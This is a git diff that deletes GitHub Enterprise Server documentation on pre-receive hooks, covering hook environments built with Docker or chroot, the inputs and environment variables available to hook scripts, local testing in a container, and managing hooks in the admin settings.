developers and their workflows can be significant and must be considered carefully. Pre-receive hooks that are based on business needs and implemented thoughtfully will provide the most benefit to the organization as a whole. - -Pre-receive hooks can have unintended effects on the performance of {% data variables.location.product_location %} and should be carefully implemented and reviewed. - -Due to risk of failure and performance impact for all users of your instance, we recommend the following. - -* Avoid API requests within a pre-receive hook. In particular, we strongly discourage that you make requests to external services, which may take longer and can compound performance impact. -* Avoid long-running Git operations within a pre-receive hook. If your pre-receive hook performs Git operations within large or busy repositories, your instance's Git and overall performance may be negatively impacted. - -> [!NOTE] -> To avoid rejection of a push due to a timeout, all combined pre-receive hooks should run in under five seconds. diff --git a/content/admin/enforcing-policies/enforcing-policy-with-pre-receive-hooks/creating-a-pre-receive-hook-environment.md b/content/admin/enforcing-policies/enforcing-policy-with-pre-receive-hooks/creating-a-pre-receive-hook-environment.md deleted file mode 100644 index d02ec4b6d0fd..000000000000 --- a/content/admin/enforcing-policies/enforcing-policy-with-pre-receive-hooks/creating-a-pre-receive-hook-environment.md +++ /dev/null @@ -1,107 +0,0 @@ ---- -title: Creating a pre-receive hook environment -intro: 'To execute pre-receive hooks, use either the default pre-receive environment, or create a custom environment.' -redirect_from: - - /enterprise/admin/developer-workflow/creating-a-pre-receive-hook-environment - - /enterprise/admin/policies/creating-a-pre-receive-hook-environment - - /admin/policies/creating-a-pre-receive-hook-environment - - /admin/policies/enforcing-policy-with-pre-receive-hooks/creating-a-pre-receive-hook-environment -versions: - ghes: '*' -type: how_to -topics: - - Enterprise - - Policies - - Pre-receive hooks -shortTitle: Pre-receive hook environments ---- -A pre-receive environment for {% data variables.product.prodname_ghe_server %} is a Linux [`chroot`](https://en.wikipedia.org/wiki/Chroot) environment. Because pre-receive hooks execute on every push event, they should be fast and lightweight. The environment needed for such checks will typically be minimal. - -{% data variables.product.prodname_ghe_server %} provides a default environment which includes these packages: `awk`, `bash`, `coreutils`, `curl`, `find`, `gnupg`, `grep`, `jq`, `sed`. - -If you have a specific requirement that isn't met by this environment, such as support for a particular language, you can create and upload your own 64-bit Linux `chroot` environment. - -The Git version used in the pre-receive hook environment must be at least 2.11, or if you are using libgit2 you must use at least version 0.18. -If you are using another Git implementation, it must support relative paths in the `info/alternates` file. - -## Creating a pre-receive hook environment using Docker - -You can use a Linux container management tool to build a pre-receive hook environment. This example uses [Debian Linux](https://www.debian.org/) and [Docker](https://www.docker.com/). - -{% data reusables.linux.ensure-docker %} -1. Create the file `Dockerfile.debian` that contains this information: - - ```dockerfile - FROM --platform=linux/amd64 debian:stable - RUN apt-get update && apt-get install -y git bash curl - RUN rm -fr /etc/localtime /usr/share/zoneinfo/localtime - ``` - ->[!NOTE] The Debian image includes some symlinks by default, which if not removed, may cause errors when executing scripts in the custom environment. Symlinks are removed in the last line of the example above. - -1. From the working directory that contains `Dockerfile.debian`, build an image: - - ```shell - $ docker build -f Dockerfile.debian -t pre-receive.debian . - > [+] Building 0.6s (6/6) FINISHED docker:desktop-linux - > => [internal] load build definition from Dockerfile.debian - > => [1/2] FROM docker.io/library/debian:latest@sha256:80dd3c3b9c6cecb9f1667e9290b3bc61b78c2678c02cbdae5f0fea92cc6 - > => [2/2] RUN apt-get update && apt-get install -y git bash curl - > => exporting to image - > => => exporting layers - > => => writing image sha256:b57af4e24082f3a30a34c0fe652a336444a3608f76833f5c5fdaf4d81d20c3cc - > => => naming to docker.io/library/pre-receive.debian - ``` - -1. Create a container: - - ```shell - docker create --name pre-receive.debian pre-receive.debian /bin/true - ``` - -1. Export the Docker container to a `gzip` compressed `tar` file: - - ```shell - docker export pre-receive.debian | gzip > debian.tar.gz - ``` - - This file `debian.tar.gz` is ready to be uploaded to the {% data variables.product.prodname_ghe_server %} appliance. - -## Creating a pre-receive hook environment using chroot - -1. Create a Linux `chroot` environment. -1. Create a `gzip` compressed `tar` file of the `chroot` directory. - - ```shell - cd /path/to/chroot - tar -czf /path/to/pre-receive-environment.tar.gz . - ``` - - > [!NOTE] - > * Do not include leading directory paths of files within the tar archive, such as `/path/to/chroot`. - > * `/bin/sh` must exist and be executable, as the entry point into the chroot environment. - > * Unlike traditional chroots, the `dev` directory is not required by the chroot environment for pre-receive hooks. - -For more information about creating a chroot environment see [Chroot](https://wiki.debian.org/chroot) from the _Debian Wiki_ or [BasicChroot](https://help.ubuntu.com/community/BasicChroot) from the _Ubuntu Community Help Wiki_. - -## Uploading a pre-receive hook environment on {% data variables.product.prodname_ghe_server %} - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.settings-tab %} -{% data reusables.enterprise-accounts.hooks-tab %} -1. Click **Manage environments**. -1. Click **Add environment**. -1. In the "Environment name" field, enter the desired name. -1. In the "Upload environment from a URL" field, enter the URL of the `*.tar.gz` file that contains your environment. -1. Click **Add environment**. - -## Uploading a pre-receive hook environment via the administrative shell - -1. Upload a readable `*.tar.gz` file that contains your environment to a web host and copy the URL or transfer the file to the {% data variables.product.prodname_ghe_server %} appliance via `scp`. When using `scp`, you may need to adjust the `*.tar.gz` file permissions so that the file is world readable. -1. Connect to the administrative shell. -1. Use the `ghe-hook-env-create` command and type the name you want for the environment as the first argument and the full local path or URL of a `*.tar.gz` file that contains your environment as the second argument. - - ```shell - admin@ghe-host:~$ ghe-hook-env-create DebianTestEnv /home/admin/debian.tar.gz - > Pre-receive hook environment 'DebianTestEnv' (2) has been created. - ``` diff --git a/content/admin/enforcing-policies/enforcing-policy-with-pre-receive-hooks/creating-a-pre-receive-hook-script.md b/content/admin/enforcing-policies/enforcing-policy-with-pre-receive-hooks/creating-a-pre-receive-hook-script.md deleted file mode 100644 index 8302009c4d36..000000000000 --- a/content/admin/enforcing-policies/enforcing-policy-with-pre-receive-hooks/creating-a-pre-receive-hook-script.md +++ /dev/null @@ -1,272 +0,0 @@ ---- -title: Creating a pre-receive hook script -intro: Use pre-receive hook scripts to create requirements for accepting or rejecting a push based on the contents. -redirect_from: - - /enterprise/admin/developer-workflow/creating-a-pre-receive-hook-script - - /enterprise/admin/policies/creating-a-pre-receive-hook-script - - /admin/policies/creating-a-pre-receive-hook-script - - /admin/policies/enforcing-policy-with-pre-receive-hooks/creating-a-pre-receive-hook-script -versions: - ghes: '*' -type: how_to -topics: - - Enterprise - - Policies - - Pre-receive hooks -shortTitle: Pre-receive hook scripts ---- - -{% data reusables.enterprise_site_admin_settings.pre-receive-hook-examples %} - -## Writing a pre-receive hook script - -A pre-receive hook script executes in a pre-receive hook environment on {% data variables.location.product_location %}. When you create a pre-receive hook script, consider the available input, output, exit status, and environment variables. - -### Input (`stdin`) - -After a push occurs and before any refs are updated for the remote repository, the `git-receive-pack` process on {% data variables.location.product_location %} invokes the pre-receive hook script. Standard input for the script, `stdin`, is a string containing a line for each ref to update. Each line contains the old object name for the ref, the new object name for the ref, and the full name of the ref. - -```shell -<old-value> SP <new-value> SP <ref-name> LF -``` - -This string represents the following arguments. - -| Argument | Description | -| :------------- | :------------- | -| `<old-value>` | Old object name stored in the ref.<br> When you create a new ref, the value is 40 zeroes. | -| `<new-value>` | New object name to be stored in the ref.<br> When you delete a ref, the value is 40 zeroes. | -| `<ref-name>` | The full name of the ref. | - -For more information about `git-receive-pack`, see [git-receive-pack](https://git-scm.com/docs/git-receive-pack) in the Git documentation. For more information about refs, see [Git References](https://git-scm.com/book/en/v2/Git-Internals-Git-References) in _Pro Git_. - -### Output (`stdout`) - -The standard output for the script, `stdout`, is passed back to the client. Any `echo` statements will be visible to the user on the command line or in the user interface. - -### Exit status - -The exit status of a pre-receive script determines if the push will be accepted. - -| Exit-status value | Action | -| :- | :- | -| 0 | The push will be accepted. | -| non-zero | The push will be rejected. | - -### Environment variables - -In addition to the standard input for your pre-receive hook script, `stdin`, {% data variables.product.prodname_ghe_server %} makes the following variables available in the Bash environment for your script's execution. For more information about `stdin` for your pre-receive hook script, see [Input (`stdin`)](#input-stdin). - -Different environment variables are available to your pre-receive hook script depending on what triggers the script to run. - -* [Always available](#always-available) -* [Available for pushes from the web interface or API](#available-for-pushes-from-the-web-interface-or-api) -* [Available for pull request merges](#available-for-pull-request-merges) -* [Available for pushes using SSH authentication](#available-for-pushes-using-ssh-authentication) - -#### Always available - -The following variables are always available in the pre-receive hook environment. - -| Variable | Description | Example value | -| :- | :- | :- | -| <pre>$GIT_DIR</pre> | Path to the remote repository on the instance | /data/user/repositories/a/ab/<br>a1/b2/34/100001234/1234.git | -| <pre>$GIT_OBJECT_DIRECTORY</pre> | Path to a temporary directory containing the objects from the push | /data/user/repositories/a/ab/<br>a1/b2/34/100001234/1234.git/<br>objects/ghq_luvYC864B9j | -| <pre>$GIT_QUARANTINE_PATH</pre> | Contains the same value as `$GIT_OBJECT_DIRECTORY` | /data/user/repositories/a/ab/<br>a1/b2/34/100001234/1234.git/<br>objects/ghq_luvYC864B9j | -| <pre>$GIT_ALTERNATE_OBJECT_<br>DIRECTORIES</pre> | Path to the object directory of the repository on the instance | /data/user/repositories/a/ab/<br>a1/b2/34/100001234/1234.git/objects | -| <pre>$GIT_PUSH_OPTION_COUNT</pre> | The number of push options that were sent by the client with `--push-option`. For more information, see [git-push](https://git-scm.com/docs/git-push#Documentation/git-push.txt---push-optionltoptiongt) in the Git documentation. | 1 | -| <pre>$GIT\_PUSH\_OPTION\_N</pre> | Where N is an integer starting at 0, this variable contains the push option string that was sent by the client. The first option that was sent is stored in `GIT_PUSH_OPTION_0`, the second option that was sent is stored in `GIT_PUSH_OPTION_1`, and so on. For more information about push options, see [git-push](https://git-scm.com/docs/git-push#git-push---push-optionltoptiongt) in the Git documentation. | abcd | -| <pre>$GIT_USER_AGENT</pre> | User-agent string sent by the Git client that pushed the changes | git/2.0.0 | -| <pre>$GITHUB_REPO_NAME</pre> | Name of the repository being updated in NAME/OWNER format | octo-org/hello-enterprise | -| <pre>$GITHUB_REPO_PUBLIC</pre> | Boolean representing whether the repository being updated is public | <ul><li>true: Repository's visibility is public</li><li>false: Repository's visibility is private or internal</li></ul> -| <pre>$GITHUB_USER_IP</pre> | IP address of client that initiated the push | 192.0.2.1 | -| <pre>$GITHUB_USER_LOGIN</pre> | Username for account that initiated the push | octocat | - -#### Available for pushes from the web interface or API - -The `$GITHUB_VIA` variable is available in the pre-receive hook environment when the ref update that triggers the hook occurs via either the web interface or the API for {% data variables.product.prodname_ghe_server %}. The value describes the action that updated the ref. - -| Value | Action | More information | -| :- | :- | :- | -| <pre>auto-merge deployment api</pre> | Automatic merge of the base branch via a deployment created with the API | [AUTOTITLE](/rest/deployments#create-a-deployment) | -| <pre>blob#save</pre> | Change to a file's contents in the web interface | [AUTOTITLE](/repositories/working-with-files/managing-files/editing-files) | -| <pre>branch merge api</pre> | Merge of a branch via the API | [AUTOTITLE](/rest/branches#merge-a-branch) | -| <pre>branches page delete button</pre> | Deletion of a branch in the web interface | [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-and-deleting-branches-within-your-repository#deleting-a-branch) | -| <pre>git refs create api</pre> | Creation of a ref via the API | [AUTOTITLE](/rest/git/refs#create-a-reference) | -| <pre>git refs delete api</pre> | Deletion of a ref via the API | [AUTOTITLE](/rest/git/refs#delete-a-reference) | -| <pre>git refs update api</pre> | Update of a ref via the API | [AUTOTITLE](/rest/git/refs#update-a-reference) | -| <pre>git repo contents api</pre> | Change to a file's contents via the API | [AUTOTITLE](/rest/repos/contents#create-or-update-file-contents) | -| `merge` | Merge of a pull request using auto-merge | [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/automatically-merging-a-pull-request) | -| <pre>merge base into head</pre> | Update of the topic branch from the base branch when the base branch requires strict status checks (via **Update branch** in a pull request, for example) | [AUTOTITLE](/repositories/configuring-branches-and-merges-in-your-repository/managing-protected-branches/about-protected-branches#require-status-checks-before-merging) | -| <pre>pull request branch delete button</pre> | Deletion of a topic branch from a pull request in the web interface | [AUTOTITLE](/repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/deleting-and-restoring-branches-in-a-pull-request#deleting-a-branch-used-for-a-pull-request) | -| <pre>pull request branch undo button</pre> | Restoration of a topic branch from a pull request in the web interface | [AUTOTITLE](/repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/deleting-and-restoring-branches-in-a-pull-request#restoring-a-deleted-branch) | -| <pre>pull request merge api</pre> | Merge of a pull request via the API | [AUTOTITLE](/rest/pulls/pulls#merge-a-pull-request) | -| <pre>pull request merge button</pre> | Merge of a pull request in the web interface | [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/merging-a-pull-request#merging-a-pull-request-on-github) | -| <pre>pull request revert button</pre> | Revert of a pull request | [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/reverting-a-pull-request) | -| <pre>releases delete button</pre> | Deletion of a release | [AUTOTITLE](/repositories/releasing-projects-on-github/managing-releases-in-a-repository#deleting-a-release) | -| <pre>stafftools branch restore</pre> | Restoration of a branch from the site admin dashboard | [AUTOTITLE](/admin/configuration/configuring-your-enterprise/site-admin-dashboard#repositories) | -| <pre>tag create api</pre> | Creation of a tag via the API | [AUTOTITLE](/rest/git/tags#create-a-tag-object) | -| {% ifversion ghes < 3.13 %} | -| <pre>slumlord (#SHA)</pre> | Commit via Subversion | [AUTOTITLE](/get-started/working-with-subversion-on-github/support-for-subversion-clients#making-commits-to-subversion) | -| {% endif %} | -| <pre>web branch create</pre> | Creation of a branch via the web interface | [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-and-deleting-branches-within-your-repository#creating-a-branch) | - -#### Available for pull request merges - -The following variables are available in the pre-receive hook environment when the push that triggers the hook is a push due to the merge of a pull request. - -| Variable | Description | Example value | -| :- | :- | :- | -| <pre>$GITHUB_PULL_REQUEST_AUTHOR_LOGIN</pre> | Username of account that authored the pull request | octocat | -| <pre>$GITHUB_PULL_REQUEST_HEAD</pre> | The name of the pull request's topic branch, in the format `USERNAME:BRANCH` | <span style="white-space: nowrap;">octocat:fix-bug</span> | -| <pre>$GITHUB_PULL_REQUEST_BASE</pre> | The name of the pull request's base branch, in the format `USERNAME:BRANCH` | octocat:main | - -#### Available for pushes using SSH authentication - -| Variable | Description | Example value | -| :- | :- | :- | -| <pre>$GITHUB_PUBLIC_KEY_FINGERPRINT</pre> | The public key fingerprint for the user who pushed the changes | a1:b2:c3:d4:e5:f6:g7:h8:i9:j0:k1:l2:m3:n4:o5:p6 | - -## Setting permissions and pushing a pre-receive hook to {% data variables.product.prodname_ghe_server %} - -A pre-receive hook script is contained in a repository on {% data variables.location.product_location %}. A site administrator must take into consideration the repository permissions and ensure that only the appropriate users have access. - -We recommend consolidating hooks to a single repository. If the consolidated hook repository is public, the `README.md` can be used to explain policy enforcements. Also, contributions can be accepted via pull requests. However, pre-receive hooks can only be added from the default branch. For a testing workflow, forks of the repository with configuration should be used. - -1. For Mac users, ensure the scripts have execute permissions: - - ```shell - sudo chmod +x SCRIPT_FILE.sh - ``` - - For Windows users, ensure the scripts have execute permissions: - - ```shell - git update-index --chmod=+x SCRIPT_FILE.sh - ``` - -1. Commit and push to the designated repository for pre-receive hooks on {% data variables.location.product_location %}. - - ```shell - git commit -m "YOUR COMMIT MESSAGE" - git push - ``` - -1. [Create the pre-receive hook](/admin/policies/enforcing-policy-with-pre-receive-hooks/managing-pre-receive-hooks-on-the-github-enterprise-server-appliance#creating-pre-receive-hooks) on the {% data variables.product.prodname_ghe_server %} instance. - -## Testing pre-receive scripts locally - -You can test a pre-receive hook script locally before you create or update it on {% data variables.location.product_location %}. One method is to create a local Docker environment to act as a remote repository that can execute the pre-receive hook. - -{% data reusables.linux.ensure-docker %} - -1. Create a file called `Dockerfile.dev` containing: - - ```dockerfile - FROM alpine:latest - RUN \ - apk add --no-cache git openssh bash && \ - ssh-keygen -A && \ - sed -i "s/#AuthorizedKeysFile/AuthorizedKeysFile/g" /etc/ssh/sshd_config && \ - adduser git -D -G root -h /home/git -s /bin/bash && \ - passwd -d git && \ - su git -c "mkdir /home/git/.ssh && \ - ssh-keygen -t ed25519 -f /home/git/.ssh/id_ed25519 -P '' && \ - mv /home/git/.ssh/id_ed25519.pub /home/git/.ssh/authorized_keys && \ - mkdir /home/git/test.git && \ - git --bare init /home/git/test.git" - - VOLUME ["/home/git/.ssh", "/home/git/test.git/hooks"] - WORKDIR /home/git - - CMD ["/usr/sbin/sshd", "-D"] - ``` - -1. Create a test pre-receive script called `always_reject.sh`. This example script will reject all pushes, which is useful for locking a repository: - - ```shell - #!/usr/bin/env bash - - echo "error: rejecting all pushes" - exit 1 - ``` - -1. Ensure the `always_reject.sh` scripts has execute permissions: - - ```shell - chmod +x always_reject.sh - ``` - -1. From the directory containing `Dockerfile.dev`, build an image: - - ```shell - $ docker build -f Dockerfile.dev -t pre-receive.dev . - [+] Building 4.5s (8/8) FINISHED - => [internal] load build definition from Dockerfile.dev 0.0s - => => transferring dockerfile: 641B 0.0s - => [internal] load .dockerignore 0.0s - => transferring context: 2B 0.0s - => [internal] load metadata for docker.io/library/alpine:latest 1.9s - => [auth] library/alpine:pull token for registry-1.docker.io 0.0s - => [1/3] FROM docker.io/library/alpine:latest@sha256:82d1e9d7ed48a7523bdebc18cf6290bdb97b82302a8a9c27d4fe885949ea94d1 0.0s - => => resolve docker.io/library/alpine:latest@sha256:82d1e9d7ed48a7523bdebc18cf6290bdb97b82302a8a9c27d4fe885949ea94d1 0.0s - => => sha256:82d1e9d7ed48a7523bdebc18cf6290bdb97b82302a8a9c27d4fe885949ea94d1 1.64kB / 1.64kB 0.0s - => => sha256:25fad2a32ad1f6f510e528448ae1ec69a28ef81916a004d3629874104f8a7f70 528B / 528B 0.0s - => => sha256:c1aabb73d2339c5ebaa3681de2e9d9c18d57485045a4e311d9f8004bec208d67 1.47kB / 1.47kB 0.0s - => [2/3] RUN apk add --no-cache git openssh bash && ssh-keygen -A && sed -i "s/#AuthorizedKeysFile/AuthorizedKeysFile/g" /e 2.3s - => [3/3] WORKDIR /home/git 0.0s - => exporting to image 0.1s - => => exporting layers 0.1s - => => writing image sha256:938447846e19a4328a85883fbd1ccf5eb919d97448cc7256efebf403d8b5a196 0.0s - => => naming to docker.io/library/pre-receive.dev - ``` - -1. Run a data container that contains a generated SSH key: - - ```shell - docker run --name data pre-receive.dev /bin/true - ``` - -1. Copy the test pre-receive hook `always_reject.sh` into the data container: - - ```shell - docker cp always_reject.sh data:/home/git/test.git/hooks/pre-receive - ``` - -1. Run an application container that runs `sshd` and executes the hook. Take note of the container id that is returned: - - ```shell - $ docker run -d -p 52311:22 --volumes-from data pre-receive.dev - > 7f888bc700b8d23405dbcaf039e6c71d486793cad7d8ae4dd184f4a47000bc58 - ``` - -1. Copy the generated SSH key from the data container to the local machine: - - ```shell - docker cp data:/home/git/.ssh/id_ed25519 . - ``` - -1. Modify the remote of a test repository and push to the `test.git` repo within the Docker container. This example uses `git@github.com:octocat/Hello-World.git` but you can use any repository you want. This example assumes your local machine (127.0.0.1) is binding port 52311, but you can use a different IP address if docker is running on a remote machine. - - ```shell - $ git clone git@github.com:octocat/Hello-World.git - $ cd Hello-World - $ git remote add test git@127.0.0.1:test.git - $ GIT_SSH_COMMAND="ssh -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no -p 52311 -i ../id_ed25519" git push -u test master - > Warning: Permanently added '[127.0.0.1]:52311' (ECDSA) to the list of known hosts. - > Counting objects: 7, done. - > Delta compression using up to 4 threads. - > Compressing objects: 100% (3/3), done. - > Writing objects: 100% (7/7), 700 bytes | 0 bytes/s, done. - > Total 7 (delta 0), reused 7 (delta 0) - > remote: error: rejecting all pushes - > To git@127.0.0.1:test.git - > ! [remote rejected] master -> master (pre-receive hook declined) - > error: failed to push some refs to 'git@192.168.99.100:test.git' - ``` - - Notice that the push was rejected after executing the pre-receive hook and echoing the output from the script. - -## Further reading - -* [Customizing Git - An Example Git-Enforced Policy](https://git-scm.com/book/en/v2/Customizing-Git-An-Example-Git-Enforced-Policy) from the _Pro Git website_ diff --git a/content/admin/enforcing-policies/enforcing-policy-with-pre-receive-hooks/index.md b/content/admin/enforcing-policies/enforcing-policy-with-pre-receive-hooks/index.md deleted file mode 100644 index 9397d86010d2..000000000000 --- a/content/admin/enforcing-policies/enforcing-policy-with-pre-receive-hooks/index.md +++ /dev/null @@ -1,19 +0,0 @@ ---- -title: Enforcing policy with pre-receive hooks -intro: Use pre-receive hooks to enforce workflow standards within your organization. Pre-receive hooks require code to pass a pre-defined set of quality checks before the push is accepted into the repository. -redirect_from: - - /enterprise/admin/developer-workflow/using-pre-receive-hooks-to-enforce-policy - - /enterprise/admin/policies/enforcing-policy-with-pre-receive-hooks - - /admin/policies/enforcing-policy-with-pre-receive-hooks -versions: - ghes: '*' -topics: - - Enterprise -children: - - /about-pre-receive-hooks - - /creating-a-pre-receive-hook-environment - - /creating-a-pre-receive-hook-script - - /managing-pre-receive-hooks-on-your-instance -shortTitle: Policy with pre-receive hooks ---- - diff --git a/content/admin/enforcing-policies/enforcing-policy-with-pre-receive-hooks/managing-pre-receive-hooks-on-your-instance.md b/content/admin/enforcing-policies/enforcing-policy-with-pre-receive-hooks/managing-pre-receive-hooks-on-your-instance.md deleted file mode 100644 index 148219d4583c..000000000000 --- a/content/admin/enforcing-policies/enforcing-policy-with-pre-receive-hooks/managing-pre-receive-hooks-on-your-instance.md +++ /dev/null @@ -1,65 +0,0 @@ ---- -title: Managing pre-receive hooks on your instance -intro: 'Configure how people will use pre-receive hooks on {% data variables.location.product_location %}.' -redirect_from: - - /enterprise/admin/developer-workflow/managing-pre-receive-hooks-on-the-github-enterprise-server-appliance - - /enterprise/admin/guides/developer-workflow/managing-pre-receive-hooks-on-the-github-enterprise-appliance - - /enterprise/admin/policies/managing-pre-receive-hooks-on-the-github-enterprise-server-appliance - - /admin/policies/managing-pre-receive-hooks-on-the-github-enterprise-server-appliance - - /admin/policies/enforcing-policy-with-pre-receive-hooks/managing-pre-receive-hooks-on-the-github-enterprise-server-appliance - - /admin/policies/enforcing-policy-with-pre-receive-hooks/managing-pre-receive-hooks-on-your-instance -versions: - ghes: '*' -type: how_to -topics: - - Enterprise - - Policies - - Pre-receive hooks -shortTitle: Manage pre-receive hooks ---- -## Creating pre-receive hooks - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.settings-tab %} -{% data reusables.enterprise-accounts.hooks-tab %} -1. Click **Add pre-receive hook**. -1. In the "Hook name" field, enter the name of the hook that you want to create. -1. Select the **Environment** dropdown menu, then click the environment on which you want the hook to run. -1. Under "Script," select the **Select hook repository** dropdown menu, then click the repository that contains your pre-receive hook script. -1. Select the **Select file** drop-down menu, then click the filename of the pre-receive hook script. -1. To enforce your script, select **Use the exit-status to accept or reject pushes**. Deselecting this option allows you to test the script while the exit-status value is ignored. In this mode, the output of the script will be visible to the user in the command-line but not on the web interface. -1. If you want the pre-receive hook to run on all repositories, select **Enable this pre-receive hook on all repositories by default**. -1. To allow organization members with admin or owner permissions to select whether they wish to enable or disable this pre-receive hook, select **Administrators can enable and disable this hook**. - -## Editing pre-receive hooks - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.settings-tab %} -{% data reusables.enterprise-accounts.hooks-tab %} -1. Next to the pre-receive hook that you want to edit, click **Edit**. - -## Deleting pre-receive hooks - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.settings-tab %} -{% data reusables.enterprise-accounts.hooks-tab %} -1. Next to the pre-receive hook that you want to delete, click **Delete**. - -## Configure pre-receive hooks for an organization - -An organization owner can only configure hook permissions for an organization if the site administrator selected the **Administrators can enable or disable this hook** option when they created the pre-receive hook. To configure pre-receive hooks for a repository, you must be an organization owner. - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -1. In the left sidebar, click **Hooks**. -1. Next to the pre-receive hook that you want to configure, select the **Hook permissions** dropdown menu, then click an option. - -## Configure pre-receive hooks for a repository - -A repository owner can only configure a hook if the site administrator selected the **Administrators can enable or disable this hook** option when they created the pre-receive hook. In an organization, the organization owner must also have selected the **Configurable** hook permission. To configure pre-receive hooks for a repository, you must be a repository owner. - -{% data reusables.profile.enterprise_access_profile %} -1. Navigate to the repository that you want to configure pre-receive hooks for. -{% data reusables.repositories.sidebar-settings %} -1. In the left sidebar, click **{% octicon "webhook" aria-hidden="true" %} Hooks**. -1. Next to the pre-receive hook that you want to configure, select the **Hook permissions** dropdown menu, then click whether to enable or disable the pre-receive hook. diff --git a/content/admin/enforcing-policies/index.md b/content/admin/enforcing-policies/index.md deleted file mode 100644 index af0842fba8f0..000000000000 --- a/content/admin/enforcing-policies/index.md +++ /dev/null @@ -1,19 +0,0 @@ ---- -title: Setting policies for your enterprise -allowTitleToDifferFromFilename: true -intro: 'You can set policies to reduce risk and increase quality.' -redirect_from: - - /enterprise/admin/developer-workflow - - /enterprise/admin/policies - - /admin/policies -versions: - ghec: '*' - ghes: '*' -topics: - - Enterprise -children: - - /enforcing-policies-for-your-enterprise - - /enforcing-policy-with-pre-receive-hooks -shortTitle: Policies ---- - diff --git a/content/admin/guides.md b/content/admin/guides.md deleted file mode 100644 index ab4335eabb9f..000000000000 --- a/content/admin/guides.md +++ /dev/null @@ -1,140 +0,0 @@ ---- -title: Guides for GitHub Enterprise -shortTitle: Guides -intro: 'Learn how to increase developer productivity and code quality with {% data variables.product.prodname_enterprise %}.' -allowTitleToDifferFromFilename: true -layout: product-guides -versions: - ghec: '*' - ghes: '*' -learningTracks: - - '{% ifversion ghec %}get_started_with_your_enterprise_account{% endif %}' - - '{% ifversion ghes %}deploy_an_instance{% endif %}' - - '{% ifversion ghes %}upgrade_your_instance{% endif %}' - - adopting_github_actions_for_your_enterprise_ghec - - adopting_github_actions_for_your_enterprise_ghes - - '{% ifversion ghes %}increase_fault_tolerance{% endif %}' - - '{% ifversion ghes %}improve_security_of_your_instance{% endif %}' - - '{% ifversion ghes %}configure_github_actions{% endif %}' - - '{% ifversion ghes %}configure_github_advanced_security{% endif %}' -includeGuides: - - /admin/managing-iam/understanding-iam-for-enterprises/allowing-built-in-authentication-for-users-outside-your-provider - - /admin/managing-iam/understanding-iam-for-enterprises/changing-authentication-methods - - /admin/managing-iam/provisioning-user-accounts-with-scim/configuring-authentication-and-provisioning-with-entra-id - - /admin/managing-iam/using-saml-for-enterprise-iam/configuring-saml-single-sign-on-for-your-enterprise - - /admin/managing-iam/provisioning-user-accounts-with-scim/user-provisioning-with-scim-on-ghes - - /admin/managing-iam/understanding-iam-for-enterprises/about-saml-for-enterprise-iam - - /admin/managing-iam/using-saml-for-enterprise-iam/configuring-saml-single-sign-on-for-your-enterprise-using-okta - - /admin/managing-iam/using-saml-for-enterprise-iam/managing-team-synchronization-for-organizations-in-your-enterprise - - /admin/managing-iam/using-saml-for-enterprise-iam/switching-your-saml-configuration-from-an-organization-to-an-enterprise-account - - /admin/managing-iam/understanding-iam-for-enterprises/about-enterprise-managed-users - - /admin/managing-iam/configuring-authentication-for-enterprise-managed-users/configuring-saml-single-sign-on-for-enterprise-managed-users - - /admin/managing-iam/provisioning-user-accounts-with-scim/configuring-scim-provisioning-for-users - - /admin/identity-and-access-management/provisioning-user-accounts-with-scim/configuring-scim-provisioning-using-okta - - /admin/managing-iam/provisioning-user-accounts-with-scim/managing-team-memberships-with-identity-provider-groups - - /admin/managing-iam/using-cas-for-enterprise-iam/using-cas - - /admin/managing-iam/using-ldap-for-enterprise-iam/using-ldap - - /admin/managing-iam/using-saml-for-enterprise-iam - - /admin/administering-your-instance/administering-your-instance-from-the-command-line/accessing-the-administrative-shell-ssh - - /admin/configuring-settings/configuring-network-settings/configuring-the-hostname-for-your-instance - - /admin/configuring-settings/configuring-network-settings/changing-the-hostname-for-your-instance - - /admin/backing-up-and-restoring-your-instance/configuring-backups-on-your-instance - - /admin/configuring-settings/configuring-network-settings/configuring-built-in-firewall-rules - - /admin/managing-code-security/managing-github-advanced-security-for-your-enterprise/configuring-code-scanning-for-your-appliance - - /admin/configuration/configuring-data-encryption-for-your-enterprise - - /admin/managing-code-security/managing-github-advanced-security-for-your-enterprise/configuring-dependency-review-for-your-appliance - - /admin/configuring-settings/configuring-network-settings/configuring-dns-nameservers - - /admin/configuring-settings/configuring-user-applications-for-your-enterprise/configuring-rate-limits - - /admin/managing-code-security/managing-github-advanced-security-for-your-enterprise/configuring-secret-scanning-for-your-appliance - - /admin/configuring-settings/hardening-security-for-your-enterprise/configuring-tls - - /admin/configuring-settings/configuring-user-applications-for-your-enterprise/verifying-or-approving-a-domain-for-your-enterprise - - /admin/configuring-settings/configuring-user-applications-for-your-enterprise/managing-github-mobile-for-your-enterprise - - /admin/configuration/connecting-your-enterprise-account-to-github-enterprise-cloud - - /admin/configuring-settings/hardening-security-for-your-enterprise/configuring-ssh-connections-to-your-instance - - /admin/configuring-settings/hardening-security-for-your-enterprise/configuring-host-keys-for-your-instance - - /admin/administering-your-instance/configuring-maintenance-mode/enabling-and-scheduling-maintenance-mode - - /admin/configuring-settings/configuring-github-connect/enabling-automatic-user-license-sync-for-your-enterprise - - /admin/configuring-settings/hardening-security-for-your-enterprise/enabling-private-mode - - /admin/configuring-settings/hardening-security-for-your-enterprise/enabling-subdomain-isolation - - /admin/configuring-settings/configuring-github-connect/enabling-unified-contributions-for-your-enterprise - - /admin/configuring-settings/configuring-github-connect/enabling-unified-search-for-your-enterprise - - /admin/configuring-settings/configuring-network-settings/network-ports - - /admin/configuration/restricting-network-traffic-to-your-enterprise-with-an-ip-allow-list - - /admin/administering-your-instance/administering-your-instance-from-the-web-ui - - 